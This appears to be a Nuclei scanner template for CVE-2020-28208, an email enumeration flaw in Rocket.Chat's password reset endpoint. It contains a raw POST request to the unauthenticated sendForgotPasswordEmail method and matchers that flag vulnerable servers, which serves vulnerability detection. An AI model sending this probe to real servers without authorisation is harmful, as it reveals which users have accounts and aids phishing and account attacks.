id: CVE-2020-28208

info:
  name: RocketChat Unauthenticated Email enumeration
  author: pdteam
  severity: medium
  description: An email address enumeration vulnerability exists in the password reset function of Rocket.Chat through 3.9.1.
  reference:
    - https://trovent.io/security-advisory-2010-01
    - https://trovent.github.io/security-advisories/TRSA-2010-01/TRSA-2010-01.txt
    - http://www.openwall.com/lists/oss-security/2021/01/07/1
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-28208
    cwe-id: CWE-203
  tags: cve,cve2020,rocketchat

requests:
  - raw:
      - |
        POST /api/v1/method.callAnon/sendForgotPasswordEmail HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/json

        {"message":"{\"msg\":\"method\",\"method\":\"sendForgotPasswordEmail\",\"params\":[\"user@local.email\"],\"id\":\"3\"}"}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - '"result\":false'
          - '"success":true'
        part: body
        condition: and